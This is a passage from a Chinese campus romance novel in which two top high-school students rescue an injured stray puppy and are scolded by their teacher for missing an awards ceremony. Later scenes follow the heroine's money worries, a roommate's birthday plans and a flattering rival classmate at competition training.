纪明川移开视线:“没事。” 他继续往北门走去:“给小狗起个名字吧。” 楚天青不知道纪明川为什么忽然想给小狗起名字?不过,既然他这么说了,她也不会拒绝他。 她随意回答:“那就叫花卷吧,你看它现在被毛巾卷起来,一动不动,像不像一团花卷?” 纪明川嗯了一声:“好,花卷。”又说:“以后我不会在食堂吃花卷了。” 楚天青忍不住笑出来了:“你很好笑。” 纪明川也笑了一下,随后,他又问:“只是好笑而已?” “不然还能有什么呢?”楚天青不太明白他的意思。 楚天青的目光移到纪明川身上,见他还抱着那只小狗,毛巾上沾满了污泥和血迹,她脱口而出:“你人挺好的,啊,对了,长得也很好看。” 大概三周前,楚天青和纪明川一起在走廊上做值日的时候,楚天青也夸过纪明川“长得好看”,今天她又说了一次,与那天相比,语气也没什么变化,还是那么平静、轻松,像是在讨论今天的天气。 纪明川也淡然回应:“还好,也就还行吧。” 楚天青隐约猜到了纪明川的心思,如果他直接承认自己长相不错,岂不是很有自卖自夸的嫌疑?而且,他从不谈论别人或自己的外貌,大概是更注重内涵的。 楚天青立即附和了一句:“嗯,确实还行。” 纪明川摸了摸小狗的头顶,才说:“但我应该是比其他男生更……” 他本来想说“更有耐心”,以此显示自己的内在优点,然而,楚天青竟然接话:“更高,更帅,更聪明。” 纪明川的手指停在了小狗的皮毛之间,没再移动一丝一毫。 楚天青却没察觉到他的反应。 她的注意力全在小狗身上。她还想着,小狗的后爪是不是还在流血?会不会来不及送去医院?刚才那一句夸赞,只是随意的接话,稍微活跃一下气氛,并没有别的意思。 快到北门了,校门还未关闭,楚天青加快脚步,纪明川紧跟着她,两人一同冲出校门,朝着宠物医院的方向跑去。 雨还在下,街道上水雾弥漫。 楚天青和纪明川的校服都被潮气沾湿了,衣袖贴在手臂上,湿淋淋的,两人依旧在雨中快步行走。 那小狗缩在毛巾里,还是毛绒绒、脏兮兮的一团,纪明川把它抱得很稳,手臂几乎没动过。 拐过街角时,宠物医院已经开门营业了。 楚天青推开门,走了进去,屋内打扫得干净整洁,闻不到一丝异味。墙上挂着几张证书和奖牌,隔着一扇半掩的门,走廊上隐约传出小猫小狗的嚎叫,也有护士的轻声安慰。 这家医院似乎颇有名气,等候区里已经坐了不少人。护士看到楚天青和纪明川进门,温声告知他们,可能需要等待十分钟左右。 “能不能先给它做清洁和血检?”纪明川拉开了毛巾的一角,“它是重度营养不良,明显脱水,还受了伤,情况紧急。” 护士闻声走来,接过那一团被毛巾包裹着的小狗。 那小狗突然挣扎起来,钻出了毛巾,直往纪明川怀里扑。纪明川一时没反应过来,校服沾上了一大块泥印。 但他什么也没说,直接把小狗交给护士,护士把它抱进了急诊室。 楚天青连忙跟了上去。快到门口时,她顿住脚步,轻声问:“会不会……很贵啊?” 她心跳加快,掌心也出了一点汗。 纪明川低声回答:“没事,别担心,我付得起。” 在此之前,楚天青从没来过宠物医院。 现在,她站在急诊室门外,环顾四周,天花板灯光柔和,米白色的墙面干净平整。前台是一张浅胡桃木色的桌子,桌上摆着一盆生机盎然的青竹,花盆釉面温润,一看就不便宜,也让她的精神更加紧绷了。 “万一要好几千呢?”楚天青用气音说话,生怕被护士听见了,“那你也付得起吗?” 纪明川也用气音回应她:“我表哥养了一只猫,之前我陪他来过这家医院,这里的收费项目都有明细,也不算太贵。” 他看了一眼急诊室,又说:“那只小狗现在情况不太好,需要急救。医生能把它治好就行,你不用担心费用问题。” 就在这时,纪明川的手机忽然震动了。他把手机从书包里拿出来,屏幕一亮,显示出了宋远舟的来电。 接通后,宋远舟的声音有些焦急:“你人呢,在礼堂吗?表彰大会已经开始了,你今天不是要上台发言吗?” 纪明川语气冷静:“再给我十分钟,我马上到。” 宋远舟沉默了一秒,又压低声音说:“行吧,你小心点,王老师还不知道你不在。不管怎么样,我也是十七班的班长,我不想看到咱们班当众闹笑话。” 除了责任心,宋远舟还有自己的顾虑。他妈妈是省教育局的直属领导,今天也会出席表彰大会。他只希望整场仪式顺利进行,不出任何纰漏,也不会家长面前丢脸。 停顿片刻,宋远舟忽然想起了什么,又问:“楚天青呢?她怎么也没来?” 纪明川说:“她过一会儿就到了。” 宋远舟并没有多想:“那我去问问郑相宜吧。王老师叫我清点人数,看看谁还没来。” 然后他就挂断了电话。 几乎是同一时间,礼堂内部灯光渐暗,表彰大会正式拉开帷幕。环绕音响奏起了校歌,音浪在空气中回荡,如潮水般涌向每一个角落。 观众席尚未完全安静,交谈声此起彼伏。十七班的班主任王秀兰坐在前方第四排,她左侧的位置属于英语老师赵亦然,右侧原本预留给了数学老师钱晨,此时却是空着的。 赵亦然看了一眼空位,小声说:“咦,钱老师还没来啊?” 王秀兰笑了:“今天又不是正式上课,钱老师稍微来迟点,不碍事的,主持人也还没出场呢。” 尽管语气轻松,王秀兰的目光还是投向了第一排中间,沈校长正坐在那个位置上。 沈校长穿着一身藏蓝西装,坐姿端正,身为省立一中的掌舵人近二十年,沈校长虽不经常露面,却将这所重点中学打理得一丝不苟。 “还是您这样的老教师最靠得住,”赵亦然微笑着说,“不仅自己从不迟到,带出来的学生也争气,年级前三都包揽了。” 王秀兰靠在椅背上,语气不紧不慢:“我教书都教了好多年了,对吧?我刚来咱们省立一中的时候,带的学生就是数一数二的,那会儿沈校长也看重我,特意把我调进重点班,说是‘好钢要用在刀刃上’。” 她拿起保温杯,缓缓转动杯盖:“我也不是跟你吹牛,我手底下的班级,就没出过乱子……” 这一句话还没说完,钱晨匆匆忙忙赶到了。 钱晨头发上还沾着雨水,脸上也带着笑意,像是刚撞见什么新鲜事似的:“哎呀,王老师,我刚才在校园里,好像看见咱们班的楚天青和纪明川了。” 她坐到了软椅上,从包里摸出玻璃杯,拧开盖子,喝了一口茉莉花茶,润了润嗓子,又接着说:“今天我车坏了,我走路来的学校,从东门进来的,就看到纪明川和楚天青在那个林荫道上,打着一把伞,一路小跑,转眼就没影了。王老师,这是怎么回事啊?” 王秀兰的脸色顿时沉了下去。 钱晨像是没注意到似的,笑吟吟地放下杯子:“今天省里还来了领导,谁知道就是这么不凑巧呢?王老师,您赶紧打个电话吧,看看他们人在哪儿。” 钱晨也教十七班的数学,楚天青和纪明川都是她的得意门生。 钱晨非常器重他们,经常在办公室里夸这两个孩子聪明、刻苦,很有希望冲进全省前十。但他们再优秀,也只是十七岁的少女少男,万一擦出点什么火花,影响了高考,那就大事不妙了。 王秀兰心里也明白,这种事,不能等到出了问题才去后悔,必须提前敲响警钟。 楚天青和纪明川,是她从教以来,见过的最优秀的学生。人品、性格、学业,几乎都挑不出毛病。 楚天青聪明克制,纪明川沉稳努力,她本该放心地看着他们一路冲进理想大学,成为她教学生涯里的光荣战绩。 然而,今天,他们竟然双双缺席了表彰大会,撑着一把伞,在雨中漫步校园。 他们的情绪,已经压过了理智,该上的台不去上,该守的分寸也不守了。 王秀兰走出礼堂,在走廊上连着打了几个电话,眉头皱得越来越紧,正在一点一点逼近爆发的边缘。 二十分钟后,距离纪明川上台发言只有不到五分钟,纪明川和楚天青终于出现在了礼堂门口。 王秀兰站在原地,只觉得太阳穴突突直跳,一股眩晕感从头皮蔓延下来,席卷全身。 她不是不近人情,也明白少年人心思敏感、情绪丰沛,但这两个学生,她寄托了太多期望。哪怕是一分一毫的偏差,她都无法容忍。 她眼睁睁看着那两个学生走进来,校服上沾满了湿泥,袖口一片水渍,像是在泥地里打过滚,或者刚刚参加完《荒野求生》。 “你们两个,跑到哪里去了?”王秀兰忽然开口,声音压得很低,却藏不住怒意,“今天是什么日子,你们心里还有没有数?表彰大会,我叮嘱了多少遍,让你们准时到场,好好表现,结果呢?全当耳旁风了?” 她的目光在两人脸上停留了一瞬,看到楚天青低着头,纪明川神色也不太自然,更是气不打一处来:“你们身上这个泥巴印,是怎么回事,校服成什么样子了?你们知不知道,校长、老师、家长都坐在观众席上?别人巴不得抓住机会出风头,你们倒好,把机会都当成儿戏。” 25 巧克力 纪明川没想到王老师会发这么大的火。 他不是第一次做学生代表,也参加过往届的表彰大会。据他所见,台下的同学基本没有认真听的,劳动委员冯康甚至当众抠脚,陆子昂和他的朋友们在玩猜拳,其余不少人都在仰头睡觉。家长只关心自己的孩子,领导们其实也盼着流程早点结束。 当他念完稿子,台下掌声虽然热烈,却另有一层意思:终于结束了。 发言稿也不是学生自己写的,大多是王老师代笔。所谓的“学生代表”,其实只是一个代言人,站在台上,用少年的声音读出老师的意志。 而且,学校也有备用方案。如果纪明川身体不舒服,或者嗓子哑了,可以把他换成郑相宜,或者十八班的班长陈月亭。 纪明川并不是不可替代的人选。况且,王老师给他打电话时,已经说过,会让郑相宜代替他上台发言。 在他看来,事情已经解决了。所以,回学校的路上,他也不是很着急。 楚天青却很焦虑:“老师,我们是……捡到了一只小狗,把它送去宠物医院了,我们在电话里也和您解释了……” “我知道,”王老师的语气不重,却也不轻,“我问的是,你们有没有去别的地方?” 学生私自离校,可能是大事,也可能是小事。 楚天青连忙摇头:“没有,老师,我们就去了宠物医院,然后就赶回学校了。” 王老师的目光落在他们身上,又看了看他们的校服。污泥的印记集中在衣领下方,像是小狗挣扎时蹭上的痕迹,而不是跌倒后留下的大面积脏污。 更重要的是,他们二人的裤子、袜子、鞋子全都干干净净,胳膊和手上也没有任何擦伤。她一眼就判断出来,他们并未摔倒,也不是受到了什么惊吓,而是蹲下去抱住了什么东西,才会在校服上留下印子。 她带班多年,自然能分辨得出,摔倒和沾泥是两回事。她之所以没问,是因为答案已经摆在眼前。 楚天青察觉到了王老师的视线,轻声说:“那只小狗身上有泥巴,沾到了校服上。” 王老师吸了一口气,没接话,仿佛在强压情绪。 楚天青知道,人在气头上的时候,多半会丧失冷静思考的能力。她自己也是这样。 谁在愤怒时,还能柔声细语呢?那大概就不是普通人了。 王老师沉默片刻,又开口问:“你们两个为什么不早点打电话给老师?今天可是表彰大会,放暑假前最后一个正式场合。学校允许你们带手机,打个电话有那么难吗?” 楚天青立即道歉:“对不起,老师……我们本来是准备打电话的,就在那个时候……您的电话先打过来了。” 王老师转头,看向纪明川:“你们两个为什么不能分头行动?非得一块儿待在宠物医院里?” 纪明川一言不发,只是安静地站立着。他没打算把自己的所见所闻都告诉王老师。在宠物医院时,他发现楚天青很紧张,说话也是结结巴巴的。其实她不是必须出席表彰大会,但他这个“学生代表”不能缺席。 当时,他要安抚小狗,又要结算医药费,还要接电话,实在是腾不出手来。 楚天青竟然直接开口说:“老师,是纪明川付钱给小狗看的病,他本来还想早点付清,但是医院一定要等项目明细出来才收钱。我也不敢接受他的转账,所以他才留在了医院。” 王老师闭上了眼睛:“行。” 这一个字,无喜无怒。 楚天青更慌了,连忙补充道:“老师,我们真的没去别的地方。纪明川也说,郑相宜能代替他,我也觉得郑相宜很优秀,完全可以做学生代表……所以我就没催他回来,老师……您别生气了,好不好?” 王老师睁眼看她,见她神情诚恳,还带着一点焦急,对她已有几分心软。 那一句“老师,您别生气了”还在耳边回荡,王老师没说什么,只是心中那一团火气,悄悄地熄了下去。 楚天青又掏出手机,打开相册,把小狗的照片递过去。 王老师瞥了一眼,注意到拍摄时间是十五分钟前。那只小狗躺在一张诊疗台上,前爪已被剃了一圈毛,正在打点滴。 那是一只长得很可爱的小黑狗。 “下次不能再这样了,”王老师的语气软了下来,“你们这样太吓人了。真要遇上这种事,先告诉老师。老师会联系保卫科,你们不要自己擅作主张。流浪狗身上要是有病菌,传染给你们,那怎么办,是不是?” 楚天青连连点头:“嗯……是,是的,谢谢老师。” 王老师双手抱臂:“我本来还想给你们家长打电话,学生在校园里失踪了,这事挺大的。不过这次就算了,不能再有下一次。” 纪明川听出了她话里的分量。要是再出点什么事,王老师可能真会找家长,甚至把他们的座位调开,以防再有什么“突发状况”。 纪明川语气沉缓,又不失冷静:“老师,您说得对,今天确实是我们考虑不周,以后不会再让您担心了。” 王老师的声音更温和了:“行,你们进礼堂吧,待会儿早点回去,记得换身衣服。” 楚天青和纪明川跟着她走进礼堂。 礼堂像个小剧院,光线昏暗,黑压压的人影模糊不清,座位一排排延伸下去,由高到低,正对着前方的舞台。楼梯的边缘嵌着一串小灯泡,亮着淡光,勾勒出通道的轮廓。 纪明川拨通了宋远舟的电话。不一会儿,一束手机电筒光在前方亮了起来。 纪明川带着楚天青顺着那道光走过去,宋远舟已经给他们留好了座位。楚天青坐在了宋远舟和纪明川之间。 楚天青长舒一口气:“坐下来了。” 她把书包放在腿上,好奇地打量四周:“感觉好像在电影院里看电影。” 台上,郑相宜正在念演讲稿。她穿着一套整洁的校服,声音清亮,看得出来,她一点也不怯场。 楚天青压低声音问:“没人发现纪明川不在吧?” 宋远舟叹了口气:“说实话,真没人发现。礼堂里太暗了,大家的座位隔得也远。你看前排那些人,像来春游的,带了一大堆零食,一直在那儿吃个不停。” 楚天青忍不住笑了一下。 听见她的笑声,宋远舟的语气更加轻松:“再说,郑相宜本来就很优秀,大家都知道,她得过省级物理竞赛和化学竞赛一等奖。” 楚天青一怔:“啊?她从没跟我说过。” “没什么好说的,”纪明川忽然插话,“大家只会关注第一名,现在第一名是你。” 或许是因为礼堂里太暗了,看不见彼此的神情,言语之间,更多了几分坦诚。 楚天青微微侧过身,靠近纪明川,悄声告诉他:“我刚才,真的好害怕。我以为王老师会……会骂我们,还会把家长叫到学校……” 话没说完,她忽然意识到,自己的焦虑症,正是源自“害怕”。那些反复袭来的恐惧,就像退潮后淤积的湿沙,将她困在原地,越挣扎,越下陷,她始终没能走出来。 纪明川并不知道她的病情。 他平静地回答:“王老师之所以生气,是因为她一开始误会了,以为我们情绪冲动,不讲道理,不计后果。但她后来看出来了,我们知道自己在做什么,就不会再责怪我们。” 是这样吗? 楚天青抬起头,望向前方,不少同学还在埋头吃零食。炸鸡的香味在空气中弥漫,那是一种诱人食欲的气息,她不由得咽了一下口水,缩进座位深处,想把自己藏好似的。 纪明川一只手肘搭在扶手上,她的校服袖口从他上臂划过,他侧过头,低声对她说:“没什么好怕的。” 黑暗之中,她的耳朵有点痒,不知道是不是错觉? 明明他离她还有些距离,但他说话的声音,却像是落在她耳畔。 “你……”楚天青只说出了一个字。 纪明川拿起书包,从中摸出一块巧克力,正要把巧克力递给她,她忽然问:“你真的什么都不怕吗?我还以为……你最怕考试输给我呢。” 纪明川动作一顿,楚天青还没停下来:“你已经输给我好多次了……啊,不对,你从没赢过我。你刚才还说,同学只会关注第一名是谁,那现在,我考到了第一名,是不是没人再关注你了?他们叫你明神,还是小纪呢?” 纪明川沉默地剥开了包装纸,把巧克力塞进自己嘴里,好苦涩的味道。他才发现自己买错了,买成了百分之百纯黑巧克力。 但他并未抱怨一句。他咀嚼着纯黑巧克力,像是在咀嚼一段惨痛人生。苦味从舌尖蔓延到心里,苦得他笑了一下,他拧开一瓶矿泉水,一饮而尽。 “你没事吧?”看着他喝了那么多水,楚天青又有些害怕了。 纪明川放下矿泉水瓶:“没事,只是喝了一点水。” “其实人生在世,不用在乎太多虚名,”纪明川一边劝告楚天青,一边开导自己,“在乎越多,负担越重。” 楚天青点了点头:“嗯,是啊,是这样的。” 她往后靠在椅背上,忽然觉得有点困,没过多久,就迷迷糊糊地睡着了。果然,就像纪明川说的那样,同学们并不在意表彰大会,吃的吃,睡的睡,玩手机的玩手机,几乎没人在听台上的领导又讲了什么故事,就连副校长都提前退场了。 一个小时后,掌声响起,礼堂的灯光重新亮起来,纪明川抬手拍了拍座椅的扶手,声音不大,却刚好把她从睡梦中唤醒。 楚天青揉了揉眼睛,伸了一个懒腰:“结束了,终于可以回宿舍了……” 纪明川单肩斜挎书包,等到她站起来,才跟在她身后往外走。她看见顾思安和郑相宜正在前面等她,立即加快脚步跑了过去。还没跑出几步远,背后传来纪明川的声音:“暑假集训从明天开始。” “我知道!”楚天青转过头,对他一笑,“你努力加油吧!” 纪明川一时没反应过来,她为什么忽然这么高兴?她的情绪来得快,去得也快,如同一汪清泉,风一吹就泛起波光,天一沉就暗淡下去。 她刚才那句话也很有意思,说得认真,又带点挑衅,“你努力加油吧”,好像他比她差得很远,无论如何都追不上她。 可爱吗?或许。 自大吗?一定。 可爱又自大,真是危险的组合。 26 暑期计划 表彰大会结束了,楚天青感觉自己浑身轻松,担忧和恐惧完全消散了,就连呼吸也变得顺畅。 她跟着郑相宜,走出礼堂,雨停了,天亮了,阳光照在她的脸上,她心里更是舒服了许多。 她忽然明白过来,很多事,并没有她想象中那么重要,也不是走错一步就会万劫不复。她应该对自己更宽容一点,就像纪明川说的“没什么好怕的”。 当天中午,楚天青和郑相宜、顾思安一起在食堂吃了午饭。 回到寝室后,郑相宜坐在椅子上翻看一本英语书,楚天青站在她身边,忍不住夸了她一句:“你今天在台上讲得真好,声音清楚又自然,语速也刚刚好,一点都不紧张,特别有学生代表的气场。” 顾思安也走了过来:“对啊,她很适合做学生代表。” 郑相宜转过脸,对她们笑了笑:“后天是我十八岁生日,不过因为竞赛集训,不能回家了。我们下午四点放学,我妈妈会把吃的送到学校门口,你们能不能陪我去接一下?” “生日快乐!”楚天青非常高兴,在地上蹦了两下,“你妈妈会送什么来呀?” 郑相宜站起身,把书放到桌上:“她自己做的蛋糕、披萨、拌面、煎饺,还有酸奶和水果。” 这么多好吃的,把楚天青吓得愣住了。她不敢说自己其实从没吃过披萨,只在食堂远远看过一两眼。食堂的披萨价格不便宜,还是一片一片卖的,对她来说,买一整份太奢侈,买一片又吃不饱,她犹豫了几秒,就跑去了米饭窗口。 郑相宜竟然要在生日那天,与她分享蛋糕、煎饺和披萨?她忽然意识到什么,急忙说:“那我应该送你生日礼物,你想要什么呢?” 郑相宜立即摆手:“你不用送了,我还没把你的笔记本还给你。” 顾思安也说:“对啊,你别紧张,郑相宜都不告诉别人她的生日是哪一天,就是不想收礼物。” 寝室里只有顾思安、郑相宜、楚天青三个人,另一位室友陈曼早已收拾东西回家了,她不参加竞赛集训,只在家里享受暑假时光。 郑相宜瞥了一眼陈曼的空位,又笑着说:“后天晚上,就我们三个人,在寝室里庆祝生日,我可以把笔记本电脑拿出来,我们一起吃好吃的,再看个电影……” 吃好吃的,再看个电影? 楚天青有些激动,又有些不安。她知道郑相宜是出于好意,可是那样丰盛的美食,她不曾品尝过,笔记本电脑,她也没触摸过。郑相宜如此热情地款待她,而她,手上空空,连一份像样的礼物都拿不出来。 恍惚之间,楚天青的神智混乱不清,好像沉浸在虚幻梦境里。她抓住一把椅子的不锈钢扶手,坐了下去,又从地上捡起帆布书包,一点点搂进怀里。 她静下心来一想,欣喜已经化作了迟疑,连期待也沾染了几分愧疚,情绪乱作一团,浮在恐惧之上,慌乱之下。她开始怀疑,自己是不是在不知不觉中,占了郑相宜的便宜。 郑相宜会不会突然和她断交?就像妈妈说的那样。 “你怎么了啊?”顾思安抬手搭住她的肩膀,“脸色一下子白成这样,是身体不舒服吗?这几天总在下雨,你不会是感冒了吧?” 楚天青撒了个谎:“有可能,我今天……淋雨了。” “那你上床休息吧,”郑相宜拍了拍床边的扶梯,“睡一觉就好了。” 楚天青连忙脱了鞋子,爬上床,把自己藏进被子里。 雨停之后,空气里的湿气尚未消散。阳台窗户开得很大,却没有一丝凉风吹进来,屋子里有一种挥之不去的闷热感,潮湿难耐,隐约还能听见蚊子“嗡嗡”的叫声。 郑相宜拿起遥控器,打开了空调,冷气一阵一阵地送到床边,四周凉爽了许多,潮气也减轻了。楚天青打了一个哈欠,倒头睡着了。 半梦半醒之间,她似乎听见,郑相宜给顾思安讲题。 顾思安小声问:“我这样问,会不会耽误你复习?” “不影响,”郑相宜回答,“我自己也能再梳理一遍思路。” 郑相宜和顾思安真好啊,楚天青心想。自己能和她们一起住在一个有空调的宿舍里,真是无法用语言形容的幸运。 可是郑相宜正在讲解数学题,楚天青又想起了那一千元竞赛奖金,明天就能看到成绩了,老天保佑,一定要让她拿到那一千元。 困意浮上来又退下去,她的意识游离在梦境与现实之间,混混沌沌,但她硬是强撑着,算起了生活费。早餐五元,中餐十元,晚餐十元,每天至少要二十,一个月差不多要七百。 当然,这样的花销,随时都可能多出一笔。 她记得,有一天中午,她饿得厉害,不仅买了一碗鸡丝凉面,还买了一份炸猪排。如果每天都过得这么奢侈,那她一个月的开销总额就会超过一千,她负担不起。 这个月她考到了年级第一,拿到了四千元奖学金,给了妈妈两千,自己只留了两千。日子还是紧巴巴的,她真的很需要那一千元竞赛奖金。 次日早晨,晴空万里。 天上漂浮着鱼鳞状的白云,校园里的树木绿意盎然,连日的雨水浸润了土壤,在这潮热的暑气中,浇灌出一派生机。 楚天青和郑相宜、顾思安一同走向教学楼。才刚吃过早饭,楚天青在心里提醒自己打起精神,不要让紧张的情绪影响了今天的状态。 此时,一阵风吹过,带下一片香樟树叶,旋转着落了下来。 楚天青跑了几步,抬起双手,将它接住。那是一片形状规整的叶子,细长柔软,叶脉清晰,摸起来还有些微凉意。 一个高个子男生从她身旁路过,目光落在树叶上,轻声一笑:“可以用来做书签。” 楚天青转头一看,那个男生穿着校服,身形修长,肤色白净,五官立体分明,眼神沉静而明亮,带着一点若有若无的笑意。 “你好,”他语气温和,“我是十八班的许月亭,也在竞赛集训班补课。” 楚天青听说过他。许月亭,十八班的班长,成绩优异,仪表出众,在年级里颇有名气,总之也是一个优等生。 楚天青点了点头:“你好,我叫楚天青,我是十七班的。” “月考第一,楚天青,”许月亭忽然鼓了两下掌,“数理化生四门满分。” 顾思安笑着接话:“对啊,楚天青就是这么厉害,题目再难,她都能做出来。” 许月亭露出了惊讶的神色,像是没料到顾思安会这样吹捧楚天青。他的言谈举止十分礼貌,又和郑相宜、顾思安打了声招呼,随后独自一人,快步朝教学楼走去。 竞赛教室位于教学楼最顶层。楚天青走进教室时,已有一半以上的同学到场,纪明川也来了。他坐在倒数第二排,宋远舟还是他的同桌。 楚天青想了想,最终还是走到纪明川身后的位置坐下,不知为什么,坐在这里,总觉得心里踏实些。 她放下书包,轻声说:“早上好,纪明川。” 纪明川没回头,只淡淡应了一声:“早上好。” 他的语气平静淡然,却没有叫她的名字,比起往常,似乎更疏远了些,更有一种无法接近的距离感。 楚天青仔细一想,才记起昨天自己说过的话。 她立即道歉:“昨天我说你考不到第一,没人关注你,你是不是不高兴了?对不起,我不是故意那么说的……有时候,我有点紧张,控制不住自己,就会把心里话说出来。” 这显然是再一次挑衅了。 纪明川左手的手肘支在桌子上,手掌半掩着唇角,忍不住笑了一下。他本来已经把这件事忘了,托她的福,他又想起来了。记忆连着情绪一并涌现,昨日的苦涩,已不像当时那般刺痛人心。 今天早晨,闹钟响了三遍,纪明川才醒过来,匆匆忙忙赶到教室,原本还想着昨晚做过的梦,听完楚天青的话,他彻底清醒了。 纪明川从书包里拿出笔记本,开始制定自己的暑期学习计划。 他把日程安排得井井有条,甚至考虑到了每天的阅读时长。他打算大幅度提升自己的阅读量,尤其是古文、散文和诗词鉴赏,争取考出一个语文满分。 虽然,省立一中从未有人拿过语文满分。 但是,做人,就是要敢想、敢闯,才配得上“优秀”两个字。 纪明川翻开笔记本第一页,在雪白的纸面上,一笔一划写下:“不飞则已,一飞冲天,不鸣则已,一鸣惊人。” 不仅如此,他还用手机拍下这一行字,发了一条朋友圈,只对楚天青一人可见。 一旁的宋远舟出声问:“纪明川,你又在写什么?这还没开始上课,你看你忙的过来吗?” 纪明川合上笔记本:“写暑假计划,反正闲着也是闲着。” 话音未落,近处浮现一道人影,纪明川侧目,看见十八班的班长许月亭拎着书包走过来。他在桌边停下,微微俯身,很客气地问:“我刚才坐在第三组,不知道那个座位已经被人占过了,请问你旁边有人吗?我可以坐在这里吗?” “可以,”楚天青连忙提起自己的书包,塞进抽屉里,“你坐吧,我旁边没人。” 许月亭又笑了笑:“谢谢,不好意思,打扰了。” 他坐下来,身上还有一股薄荷香气,清新自然,也不知道是不是洗衣液的香味?还是香皂呢? 楚天青原本正盯着试卷发呆,不自觉地悄悄瞥了他一眼,只见他连文具盒都摆得一丝不苟,桌上的参考书也叠放得整整齐齐。 前排的纪明川像是察觉到了什么动静。他仍未说话,低头又翻了一页笔记本,动作比平时更用力了些,翻出一声轻响。 楚天青并未注意纪明川,也不再观察许月亭,随手做起了数学试卷。 卷子是今天早晨才发下来的,放在讲台上,每人都要拿一张。楚天青抓起圆珠笔,也不打草稿,飞快地把选择题做完了,这一切都被许月亭看在眼里,他又一次惊呆了,声音也渐渐低下去:“你是……是以前做过这张卷子吗?” “嗯,”楚天青撒了个谎,“好像做过吧。” 许月亭看着她的眼睛:“那我可以请教你吗?我比较笨,不像你们十七班的人那么聪明,没考过省级竞赛一等奖,也没得过年级第一。这次参加竞赛集训,也是钱老师替我报的名……” 纪明川转过身来:“行了,适可而止,你平时不是这么说话的。” 27 兑换券 面对纪明川的质问,许月亭只是微微一笑:“我和纪明川也不熟,平时说不上几句话,不知道他为什么这样讲我,可能是我哪里做得不好吧。” 纪明川敲了一下许月亭的桌面:“你到底有完没完?” 许月亭抬高了下巴,眼神里浮着一点漫不经心的笑意:“说实话,我一直觉得纪明川很厉害。” “啊,他是很厉害,”楚天青点了点头,“他特别努力,语文和英语都学得很好。” 许月亭转过头来,和楚天青目光相接:“你更厉害,理科那么难,你都能考得那么好。” 楚天青被他夸得不好意思,轻声回答:“你也很厉害啊,我听说你的成绩名列前茅,在你们十八班,不是第一就是第二。” 许月亭的声音压得很低:“刚好每一次考试的大部分题目都在我理解范围之内,可能是我运气太好了吧……” “对,你就是全凭运气,”纪明川忽然打断了他的话,“如果运气也是一种能力,那你确实挺有天赋。” 许月亭又笑了笑:“感谢你的认可。” 他像是没听出来纪明川的嘲讽之意,只把笔记本翻开,双手递到楚天青面前,又铺上一沓草稿纸,再给她送来一只全新的签字笔:“能教我这道题吗?去年的联考试卷压轴题。” 那道题不难,两分钟就能讲完,楚天青刚要开口,隐约察觉到了气氛有些微妙。 纪明川竟然还没转回去,视线始终停留在她身上,一副欲言又止的样子。她胳膊上泛起了一层鸡皮疙瘩,搞不清现在是什么状况。 纪明川扫了一眼许月亭的笔记本,语气平淡:“这道题,我也会做。” 许月亭叹了一口气:“我已经想了两天了,还是没想通。” 楚天青一听这话,立即抽取一张草稿纸,拿起笔,在纸上写出了代数式,笔尖没有一丝停顿。她的思维一向清晰流畅。 代数式还没写完,许月亭已经明白了楚天青的意思。他在纸上演算了几步,恍然大悟般停顿了一瞬,接着眉宇一展,终于把这道大题解出来了。 他放下笔,又拿出手机,对楚天青说:“我能不能加一下你的微信?” “啊,为什么?”楚天青警觉起来。 “对啊,为什么?”纪明川也附和了一句,“你和我们都不熟,加什么微信,多此一举。” 许月亭右手转了一下笔,左手落到大腿上,有点局促地扯了扯校服下摆:“我不是那个意思……我平常不太会主动加人,不敢打扰别人,也不擅长交朋友,当然我朋友也不多。今天你肯耐心帮我讲题,我很感激,就只是想加个好友,以后可以偶尔请教你,不会经常打扰的。” 纪明川真的被许月亭气笑了,人怎么能装成这个样子?许月亭竟然好意思说自己“朋友不多”?他是学生会副主席,微信联系人没有八百也有一千了吧? 真正“朋友不多”的,是他纪明川,而不是许月亭。纪明川的微信好友加在一起都只有四十多个人,能让他认真回复的更是不超过一人。 然而,许月亭的那一番话,说到了楚天青的心坎里。 楚天青也没几个朋友,也不知道自己能和谁讨论问题。她眼前的许月亭,似乎有一种与她相似的孤独、认真。 她连忙从书包里拿出手机,有些慌乱地加上了许月亭的微信。 好友请求才刚通过,许月亭立即给她发了一条消息,那是一个圆头表情,眼睛睁得大大的,水汪汪的,眉毛微微皱着,看起来有些委屈,也有些可爱。 “这是什么?”楚天青问。 许月亭说:“你在手机自带的键盘上打,‘求求你了’,就会出现这个表情。” 楚天青试了一下,却没找到。 纪明川终于等到了许月亭的破绽,真是功夫不负有心人。他低声说:“别信许月亭的话,他不可靠。” 说完,纪明川转了回去。他把数学卷子摊开,也开始做题了。 怎料,许月亭又开口说:“对不起,我刚才是不是说错话了?那个表情我也很少发,只是觉得你应该不会嫌我烦,我总是这样……笨手笨脚。” “没事没事,”楚天青摆了摆手,“你不要和我道歉了,我有点紧张了。以后你有什么不明白的,和我说一声就行,我都会告诉你的。” 许月亭从书包里拿出一盒笔递给她。她接过一看,是一套名牌签字笔,包装得像节日礼盒一样精致,哑光材质配上烫金字样,手感上乘。 楚天青很惊讶:“给我的吗?” 许月亭笑了:“是,也不贵,你收下吧。” 楚天青没有拒绝,也没有接受,只是把盒子放在手边,眼睛却不由自主地瞥向那几支笔。 她的笔芯已经开始卡墨了,总要多划几下才能写出字,她自己都没太在乎,许月亭却能注意到。这一盒签字笔解决了她的燃眉之急。她后知后觉,许月亭应该是个特别细心的人。 忽然之间,上课铃打响了,竞赛老师段启言快步走进室内:“好,同学们,今天人都来齐了,不错啊。上次数学竞赛成绩出来了,第一名,楚天青。” 话音刚落,教室里“哇”地一声热闹起来,竞赛生又开始鼓掌了,这是他们的优良传统,顾思安趁乱喊了一声:“青神,好聪明!” “青神”这种玩笑般的称呼,怎么能在竞赛班出现呢?段老师还没开始上课,自己还不是竞赛生的同学呢。 楚天青趴在桌上,脸颊有些发烫,但也并非红光满面,更多的是忐忑不安。 她真没想到这一次竞赛成绩竟然名列第一,她不擅长接受众人注目,也不习惯迎接掌声,心里却有一团烈火正在燃烧,窃喜又羞涩,眼前晃过的是那一千元奖学金,还有……那一种不可告人的期望,也许自己将来会取得更高的成就。 段启言拍了拍讲桌:“好,同学们,接下来,要为第二场考试做准备,没入围的同学也不要慌,安心听课,巩固一下基础。这几天我会带着你们复习基础题型。” 段启言拉下幕布,打开幻灯片,开始讲解题型。 光线洒在每一张课桌上,幻灯片一页一页闪过,许月亭一直在认真记笔记,楚天青仍是坐姿端正,动也不动地望着讲台,从始至终都没写过一个字。 这堂课结束后,不少同学趴在桌上睡觉,教室里渐渐安静了下来,讨论问题的声音也不算很大。 